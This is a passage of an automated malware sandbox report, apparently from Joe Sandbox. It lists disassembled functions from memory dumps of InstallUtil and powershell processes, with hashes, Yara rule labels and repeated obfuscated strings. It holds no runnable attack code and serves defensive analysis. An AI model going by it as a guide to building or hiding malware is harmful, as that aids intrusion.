String ID:
API String ID:
Opcode ID: b37d090cb3aa27f7cddb883eb6c73862ac24392af470c452e5a0e73cd05e9b2e
Instruction ID: cbd37a7a304ec3c77e89f83667863fe6b9a6141c8e10d91ecae2cef7ea94c979
Opcode Fuzzy Hash: b37d090cb3aa27f7cddb883eb6c73862ac24392af470c452e5a0e73cd05e9b2e
Instruction Fuzzy Hash: 84F03935D0120CEFCB01DFB4D9589CEBBB9EB48300F2042AAD945E3240EA305B45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0621C120 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 207ce3680ddb246f1a748a5155f431191ac6951a7558057e5e946a36cc4ab397
Instruction ID: 6779dc6c17cb5ab081692768082a5b73a91622b90bcd26acc4cdd04786e37ec2
Opcode Fuzzy Hash: 207ce3680ddb246f1a748a5155f431191ac6951a7558057e5e946a36cc4ab397
Instruction Fuzzy Hash: 84E065312147948FC721E72DE51879F7BEBDF85318F04052DD286C7755CBA1A8098BD1

Uniqueness

Uniqueness Score: -1.00%

Function 0621CC38 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2142a175b420070e2e4092fa2a1dbec883b14b5893e4177a37c3f640e29b8bce
Instruction ID: f747c3d65cdda2885eade9be087a52dc9eddd6fef396da4d24353594b52cdfce
Opcode Fuzzy Hash: 2142a175b420070e2e4092fa2a1dbec883b14b5893e4177a37c3f640e29b8bce
Instruction Fuzzy Hash: 43E0DF31606751CFC712AF24F844AE97BE1EB52355B2082FAC284C7669CA3408CACBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0621E280 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de1234d7fa441c71ace3759c3a89e8822763e465a1f313433cb4528c0d0b0a91
Instruction ID: 3397c9969e8d5a50c498accb2fec6c5ec77701a2a7217dbe406862de513211b8
Opcode Fuzzy Hash: de1234d7fa441c71ace3759c3a89e8822763e465a1f313433cb4528c0d0b0a91
Instruction Fuzzy Hash: 3BE0D832406A008FC746B720FD51D443BE2EB56708B2211D5DA405B6B9C7342D4ACBD6

Uniqueness

Uniqueness Score: -1.00%

Function 0621CE88 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5bd88eef696356c1e59de16ec39ad7992b2f38836c8f6632ab5304fd64b387a
Instruction ID: 1c1e13848b29ddd1588e624205fcb778061e30e59e4dd68ee2fdfa0fcf596700
Opcode Fuzzy Hash: a5bd88eef696356c1e59de16ec39ad7992b2f38836c8f6632ab5304fd64b387a
Instruction Fuzzy Hash: ADE0DF70146791EFD752AB20F489D983BF2DF06314B2106EADEC1CBA69C6748885CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0621E1FF Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4647a427b7cdb86bce0bf270f68cee4189e06885e23165f182ac65b26097e0e5
Instruction ID: 116b47c05f6d4750234ae4e0ebdb4a10d269accf6b10d96aa495ab086c2897e7
Opcode Fuzzy Hash: 4647a427b7cdb86bce0bf270f68cee4189e06885e23165f182ac65b26097e0e5
Instruction Fuzzy Hash: DAE0DF71A46204EFCB02CF68A9409ED7BB6DB82300B2041DADA09E7290D6701F14CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0621AC80 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5381d351806c75073443376ff61bb1017c56e4486d9560318ae82277edb099
Instruction ID: a45578e0e8e74626386cf2f4c82e9487c32ab19dc9f5ea4524e052f06c79924c
Opcode Fuzzy Hash: db5381d351806c75073443376ff61bb1017c56e4486d9560318ae82277edb099
Instruction Fuzzy Hash: FFD05B313201185796092769B46C5AE779FDBC9761704412BE60BC3381CF655D0D47D5

Uniqueness

Uniqueness Score: -1.00%

Function 0621E8F8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 460b62517ac2fa82adcb2f60451a5ee613ff4921762829b40f5ccbfdbfdef1df
Instruction ID: 0dcf6cf3f4e589b671a45601411f0c125677992fc172b55f32e1921f9bef7b08
Opcode Fuzzy Hash: 460b62517ac2fa82adcb2f60451a5ee613ff4921762829b40f5ccbfdbfdef1df
Instruction Fuzzy Hash: A0E0B6391543459FC7129F64D8408557FB5BF5A621314449AE9C08B272D23198A5DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0621B510 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40940b740623e37641c65f6055fdb917bd1ef81a62a377b1063f1bc8f8555c46
Instruction ID: 83c96a10a9ebffc50a7f5dcd422fd3d5e03e854ce0cbc23afe757ca730200288
Opcode Fuzzy Hash: 40940b740623e37641c65f6055fdb917bd1ef81a62a377b1063f1bc8f8555c46
Instruction Fuzzy Hash: 10E09275D0020CEFCB40DFE4E9559DEBBB9EB48300F1082AADA09A3200EB306B55DF80

Uniqueness

Uniqueness Score: -1.00%

Function 0621E210 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91714657aa1f1ce5ece2053c9579d4cfc6c98c1510855c22287da9a09f628c3c
Instruction ID: 75e49d2ee0d3e53cb7216e00bcd802b346a3b80e6a4df45abcc8d68dce6a4104
Opcode Fuzzy Hash: 91714657aa1f1ce5ece2053c9579d4cfc6c98c1510855c22287da9a09f628c3c
Instruction Fuzzy Hash: 5ED01772A01208FF8B40EFA8E94099DB7BAEB44304B2091E9D609E3200EA316E049B90

Uniqueness

Uniqueness Score: -1.00%

Function 0621F8EB Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d0d4113139dc03763fb9e10ffdcb3b4cd58c8b26860db5d4ec6cffab37414b
Instruction ID: c4ef77f39246af71122788e8d3992886a383f6e1e2136c022383080e0616a99d
Opcode Fuzzy Hash: 60d0d4113139dc03763fb9e10ffdcb3b4cd58c8b26860db5d4ec6cffab37414b
Instruction Fuzzy Hash: CBC01232B201204B0285BA6C70640AEA6DB92C83B3385416AEB0EC3388CE608C4A87C0

Uniqueness

Uniqueness Score: -1.00%

Function 06213721 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fccc79b5cd40a1817b62e58f0f7f87263934fc3880555dc6e842433715df0307
Instruction ID: 729c00e655a40dde57f69717c5f97c40258052357332f2a4dc04847e65defe0d
Opcode Fuzzy Hash: fccc79b5cd40a1817b62e58f0f7f87263934fc3880555dc6e842433715df0307
Instruction Fuzzy Hash: 5EC09BF25655400BE30555745D06F477F149760346F0B98665202971C6D965D04199B1

Uniqueness

Uniqueness Score: -1.00%

Function 0621DFD1 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba4421c08d8e8d404194a76021e67d421f5438ac7827c5d4b92933abab08aa53
Instruction ID: b6d38ba2cb7de870254eae65dcce36c1c1938e2c3eddf7db73bb91b55da81e7d
Opcode Fuzzy Hash: ba4421c08d8e8d404194a76021e67d421f5438ac7827c5d4b92933abab08aa53
Instruction Fuzzy Hash: 5FC04C3558A3909EEB525F60C8598443F656F4272076614CAD381CA166C6714405CB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0621E2C7 Relevance: 46.6, Strings: 37, Instructions: 391COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621E630
D?g, xrefs: 0621E56B
D?g, xrefs: 0621E86F
D?g, xrefs: 0621E3E7
D?g, xrefs: 0621E456
D?g, xrefs: 0621E5BB
D?g, xrefs: 0621E4CB
D?g, xrefs: 0621E431
D?g, xrefs: 0621E6A8
D?g, xrefs: 0621E720
D?g, xrefs: 0621E47B
D?g, xrefs: 0621E543
D?g, xrefs: 0621E5E3
D?g, xrefs: 0621E378
D?g, xrefs: 0621E7EE
D?g, xrefs: 0621E658
D?g, xrefs: 0621E6D0
D?g, xrefs: 0621E608
D?g, xrefs: 0621E593
D?g, xrefs: 0621E819
D?g, xrefs: 0621E51B
D?g, xrefs: 0621E309
D?g, xrefs: 0621E798
D?g, xrefs: 0621E4F3
D?g, xrefs: 0621E7C3
D?g, xrefs: 0621E32E
D?g, xrefs: 0621E748
D?g, xrefs: 0621E680
D?g, xrefs: 0621E770
D?g, xrefs: 0621E40C
D?g, xrefs: 0621E3C2
D?g, xrefs: 0621E2E4
D?g, xrefs: 0621E844
D?g, xrefs: 0621E6F8
D?g, xrefs: 0621E353
D?g, xrefs: 0621E39D
D?g, xrefs: 0621E4A3

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-1593174204
Opcode ID: d282646c0feb8b4accee131127cec0b2c3d549eeaa6aecb1ca808124c37f633d
Instruction ID: d46d8a70fabc47db7aafd66535e3b53d50ca378c4e2bda3ea58e0eb32c4815f4
Opcode Fuzzy Hash: d282646c0feb8b4accee131127cec0b2c3d549eeaa6aecb1ca808124c37f633d
Instruction Fuzzy Hash: A8D1AF39340611AFDA06B7A09C95EACA793FBC9300B40843C92194F7ADDF716C0A6787

Uniqueness

Uniqueness Score: -1.00%

Function 0621E2D8 Relevance: 46.6, Strings: 37, Instructions: 383COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621E630
D?g, xrefs: 0621E56B
D?g, xrefs: 0621E86F
D?g, xrefs: 0621E3E7
D?g, xrefs: 0621E456
D?g, xrefs: 0621E5BB
D?g, xrefs: 0621E4CB
D?g, xrefs: 0621E431
D?g, xrefs: 0621E6A8
D?g, xrefs: 0621E720
D?g, xrefs: 0621E47B
D?g, xrefs: 0621E543
D?g, xrefs: 0621E5E3
D?g, xrefs: 0621E378
D?g, xrefs: 0621E7EE
D?g, xrefs: 0621E658
D?g, xrefs: 0621E6D0
D?g, xrefs: 0621E608
D?g, xrefs: 0621E593
D?g, xrefs: 0621E819
D?g, xrefs: 0621E51B
D?g, xrefs: 0621E309
D?g, xrefs: 0621E798
D?g, xrefs: 0621E4F3
D?g, xrefs: 0621E7C3
D?g, xrefs: 0621E32E
D?g, xrefs: 0621E748
D?g, xrefs: 0621E680
D?g, xrefs: 0621E770
D?g, xrefs: 0621E40C
D?g, xrefs: 0621E3C2
D?g, xrefs: 0621E2E4
D?g, xrefs: 0621E844
D?g, xrefs: 0621E6F8
D?g, xrefs: 0621E353
D?g, xrefs: 0621E39D
D?g, xrefs: 0621E4A3

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-1593174204
Opcode ID: 8b5799fae4e7bc9a91c4997e6125b09742f9bc2236e26ab0eacd2d0d4f53ced2
Instruction ID: c7f2e5e6c9f7af7d8445b7f6ebe9a74f401910469b76b867a135234f334a2475
Opcode Fuzzy Hash: 8b5799fae4e7bc9a91c4997e6125b09742f9bc2236e26ab0eacd2d0d4f53ced2
Instruction Fuzzy Hash: 0DD1AF39350611AFDA06B7A09895EADE793FBC9300B80843C92194F7ACDF716C0A67C7

Uniqueness

Uniqueness Score: -1.00%

Function 0621CC7F Relevance: 16.4, Strings: 13, Instructions: 150COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621CE58
D?g, xrefs: 0621CD30
D?g, xrefs: 0621CDC4
D?g, xrefs: 0621CE33
D?g, xrefs: 0621CD0B
D?g, xrefs: 0621CE0E
D?g, xrefs: 0621CCE6
D?g, xrefs: 0621CCC1
D?g, xrefs: 0621CC9C
D?g, xrefs: 0621CDE9
D?g, xrefs: 0621CD9F
D?g, xrefs: 0621CD55
D?g, xrefs: 0621CD7A

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-340573709
Opcode ID: e8606802ff4c09bddd701af43133fa6375a280e3c0fecc33c966b54936b6afe3
Instruction ID: 7dd2865e474eef676e5558177a84e453ff106b414dcad9a39ce51963e9fa5e17
Opcode Fuzzy Hash: e8606802ff4c09bddd701af43133fa6375a280e3c0fecc33c966b54936b6afe3
Instruction Fuzzy Hash: 7441C135341711AFEA02ABA09C84E6DA793FB8D300B40883C921D4FBADCF756D4A5797

Uniqueness

Uniqueness Score: -1.00%

Function 0621CC90 Relevance: 16.4, Strings: 13, Instructions: 143COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621CE58
D?g, xrefs: 0621CD30
D?g, xrefs: 0621CDC4
D?g, xrefs: 0621CE33
D?g, xrefs: 0621CD0B
D?g, xrefs: 0621CE0E
D?g, xrefs: 0621CCE6
D?g, xrefs: 0621CCC1
D?g, xrefs: 0621CC9C
D?g, xrefs: 0621CDE9
D?g, xrefs: 0621CD9F
D?g, xrefs: 0621CD55
D?g, xrefs: 0621CD7A

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-340573709
Opcode ID: 2cddb8e46a27c8fd9188abe1acb37ea1429b1907e1b13236bb37996d7351754d
Instruction ID: 722712f436d92adac203130a1c1c3733d01e1f5569f456e7c11c05c4f0b6a19e
Opcode Fuzzy Hash: 2cddb8e46a27c8fd9188abe1acb37ea1429b1907e1b13236bb37996d7351754d
Instruction Fuzzy Hash: 3341BF35340610AFEA06A7A09885E6DE793FB8D700B408838921D4FBADCF766D4A5797

Uniqueness

Uniqueness Score: -1.00%

Function 0621CED1 Relevance: 10.1, Strings: 8, Instructions: 103COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621CF11
D?g, xrefs: 0621CF80
D?g, xrefs: 0621CEEC
D?g, xrefs: 0621CF5B
D?g, xrefs: 0621CFEF
D?g, xrefs: 0621CFCA
D?g, xrefs: 0621CF36
D?g, xrefs: 0621CFA5

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-508663181
Opcode ID: 64337046f37dd2f8ae19503dc6686354e8554f40c7c12d61d4985d87670d5d07
Instruction ID: aba81de531796df695001770e920d46003dbd6965433260bbe581cfc56cf8205
Opcode Fuzzy Hash: 64337046f37dd2f8ae19503dc6686354e8554f40c7c12d61d4985d87670d5d07
Instruction Fuzzy Hash: 86319075341311AFEB02ABA49884E6DF793EB89300B804438920D8FBA9DF756D499797

Uniqueness

Uniqueness Score: -1.00%

Function 0621CEE0 Relevance: 10.1, Strings: 8, Instructions: 93COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621CF11
D?g, xrefs: 0621CF80
D?g, xrefs: 0621CEEC
D?g, xrefs: 0621CF5B
D?g, xrefs: 0621CFEF
D?g, xrefs: 0621CFCA
D?g, xrefs: 0621CF36
D?g, xrefs: 0621CFA5

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-508663181
Opcode ID: 7d13be18b9236f4aab7b43787a5d45c96fe8307ee8fc9e5231e6442d2ee76a8e
Instruction ID: 13d0a2387910c9254a433537892dab82cd90b14fd35270fd933f7204bfcea2f2
Opcode Fuzzy Hash: 7d13be18b9236f4aab7b43787a5d45c96fe8307ee8fc9e5231e6442d2ee76a8e
Instruction Fuzzy Hash: 0B21BF35740211AFEA02ABA49884E6DE793FBC9304B808438920D4FBADCF756C4A57D7

Uniqueness

Uniqueness Score: -1.00%

Function 0621C968 Relevance: 8.8, Strings: 7, Instructions: 88COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621C9FF
D?g, xrefs: 0621CA28
D?g, xrefs: 0621C984
D?g, xrefs: 0621C9AD
D?g, xrefs: 0621C9D6
D?g, xrefs: 0621CA7A
D?g, xrefs: 0621CA51

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-3539328112
Opcode ID: 4aa10a92bb70cca6f3dc12a2e7387b81e136735e87457f04ab86a8b0d2bd375a
Instruction ID: 80d70f41210ed97884c3638b4dc4aeafb6d6b7848bca8d084b7e8d575dc8593a
Opcode Fuzzy Hash: 4aa10a92bb70cca6f3dc12a2e7387b81e136735e87457f04ab86a8b0d2bd375a
Instruction Fuzzy Hash: 1631C735345282AFDF026BA0A945D6D7B53FB8A3407004438D10A8FAA9CFB85D8F8B85

Uniqueness

Uniqueness Score: -1.00%

Function 0621C978 Relevance: 8.8, Strings: 7, Instructions: 83COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621C9FF
D?g, xrefs: 0621CA28
D?g, xrefs: 0621C984
D?g, xrefs: 0621C9AD
D?g, xrefs: 0621C9D6
D?g, xrefs: 0621CA7A
D?g, xrefs: 0621CA51

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-3539328112
Opcode ID: 0c76fa9d99ec58ab0d2754e1a2c36b3d7e0687050014b9a1935c568da07c3adf
Instruction ID: 46a9dc69b1c12964a3dd1426b46696514e176f5f3bb575f89c50c24534b38c9c
Opcode Fuzzy Hash: 0c76fa9d99ec58ab0d2754e1a2c36b3d7e0687050014b9a1935c568da07c3adf
Instruction Fuzzy Hash: 2E219635341641AFDF056BA4E986C6D7757FB893407004438E10A8F7A9CEB95D8E8B86

Uniqueness

Uniqueness Score: -1.00%

Function 0621ED10 Relevance: 7.9, Strings: 6, Instructions: 378COMMON

Download Yara Rule

Strings

(_kq, xrefs: 0621F0F9
(_kq, xrefs: 0621EF79
(_kq, xrefs: 0621F07A
(_kq, xrefs: 0621EDF9
(_kq, xrefs: 0621EEFA
(_kq, xrefs: 0621ED7A

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: (_kq$(_kq$(_kq$(_kq$(_kq$(_kq
API String ID: 0-848523028
Opcode ID: e2ccdec8f98ade81c4d6d186531461071e55f88297a69c74d78dcd327bc1c693
Instruction ID: 011e1694a0e61c3f6572bf26e65f665d2771710e37dc4e04627b8991c82351a5
Opcode Fuzzy Hash: e2ccdec8f98ade81c4d6d186531461071e55f88297a69c74d78dcd327bc1c693
Instruction Fuzzy Hash: FAD1DC34A182449FDB45AF78C8145AEBBF6EF85300F2485AADD46DB381DA319E06CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0621D538 Relevance: 7.6, Strings: 6, Instructions: 81COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621D5E8
D?g, xrefs: 0621D554
D?g, xrefs: 0621D5C3
D?g, xrefs: 0621D60D
D?g, xrefs: 0621D579
D?g, xrefs: 0621D59E

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-1930144121
Opcode ID: 926595f94d0b81e10dacd2e3d1743cd7534c1e32aafdabeca9906d8f6a7262de
Instruction ID: 4f82d3622c130ec2841d080edc070e134e408e6d3373f3d2e2461b1515a9d1b4
Opcode Fuzzy Hash: 926595f94d0b81e10dacd2e3d1743cd7534c1e32aafdabeca9906d8f6a7262de
Instruction Fuzzy Hash: 40210235741310AFEB026BA09894E5CF793EB89704B40893CD2098FB99CF756C4997A3

Uniqueness

Uniqueness Score: -1.00%

Function 0621D548 Relevance: 7.6, Strings: 6, Instructions: 73COMMON

Download Yara Rule

Strings

D?g, xrefs: 0621D5E8
D?g, xrefs: 0621D554
D?g, xrefs: 0621D5C3
D?g, xrefs: 0621D60D
D?g, xrefs: 0621D579
D?g, xrefs: 0621D59E

Memory Dump Source

Source File: 00000005.00000002.2952147720.0000000006210000.00000040.00000800.00020000.00000000.sdmp, Offset: 06210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6210000_InstallUtil.jbxd

Similarity

API ID:
String ID: D?g$D?g$D?g$D?g$D?g$D?g
API String ID: 0-1930144121
Opcode ID: ddf2a13f6d5429c1a05f8c15e596a68ed8a75ccb7fa2e272eb644266e2290224
Instruction ID: 4e2f58c28e1df87d3a4009ede989c93a054146326a4bb9643f2a12b773c134a9
Opcode Fuzzy Hash: ddf2a13f6d5429c1a05f8c15e596a68ed8a75ccb7fa2e272eb644266e2290224
Instruction Fuzzy Hash: 9611DE35740210BFEA02ABA498C4E6DE793EBC9704B40853C92094FBADCF726C5A57D3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7408, Parent PID: 7608COMMON

Executed Functions

Function 033029F0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2847415776.0000000003300000.00000040.00000800.00020000.00000000.sdmp, Offset: 03300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3300000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9f7417c629fedd7e0b25ddc3e101b596d93fb5063bad6e5de43b1d16f6ff61d
Instruction ID: 8c1e32504fb7c6b445cd96e94970074dcbdf04d7bc8176712abd625c0381be5a
Opcode Fuzzy Hash: f9f7417c629fedd7e0b25ddc3e101b596d93fb5063bad6e5de43b1d16f6ff61d
Instruction Fuzzy Hash: 45914C74A006058FCB15CF59C4D89AEFBB5FF48310B2885A9D915EB3A5CB35EC91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03306F88 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2847415776.0000000003300000.00000040.00000800.00020000.00000000.sdmp, Offset: 03300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3300000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd41856b9cb33eed3dd85748cbf2061c6abac70676706d0fdb4baee12c240d3
Instruction ID: 06676624b44974f51d43c5f61ee489882faf79336f64334490b855d1d9ef0089
Opcode Fuzzy Hash: 4cd41856b9cb33eed3dd85748cbf2061c6abac70676706d0fdb4baee12c240d3
Instruction Fuzzy Hash: 28513631701214CFDB25EB74C8A4BAD77F6AF89245F2445A9D00ADB3A1DB35AD81CF60

Uniqueness

Uniqueness Score: -1.00%

Function 03302B00 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2847415776.0000000003300000.00000040.00000800.00020000.00000000.sdmp, Offset: 03300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3300000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6f4afe20908b221ec25a86b74020895f0ebecdc35f84af7f7297e0af44a7745
Instruction ID: ed261abca3be756065910d42a67789c708dd66cc38ce5c9d52fcd394f231436e
Opcode Fuzzy Hash: e6f4afe20908b221ec25a86b74020895f0ebecdc35f84af7f7297e0af44a7745
Instruction Fuzzy Hash: 234107B4A005059FCB05CF58C5E8AAAFBB1FF48310B258599D919AB3A4C736FC91CF90

Uniqueness

Uniqueness Score: -1.00%

Function 03302C5C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2847415776.0000000003300000.00000040.00000800.00020000.00000000.sdmp, Offset: 03300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3300000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cc530878d2d9afa440f90f57365aa1e0d0dfa7c06f0ef0809ea435a92f5d0f
Instruction ID: 8eede0079806edeabe5c1a2d1a6cfc47cb2aa575bcae6d091167dbab46a799d7
Opcode Fuzzy Hash: 43cc530878d2d9afa440f90f57365aa1e0d0dfa7c06f0ef0809ea435a92f5d0f
Instruction Fuzzy Hash: 5C31DC269092919FD702DB6CD8F46DABFB0EF06224F1940C7C494CF2E3C626984AC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 03306E73 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2847415776.0000000003300000.00000040.00000800.00020000.00000000.sdmp, Offset: 03300000, based on PE: false

Joe Sandbox IDA Plugin

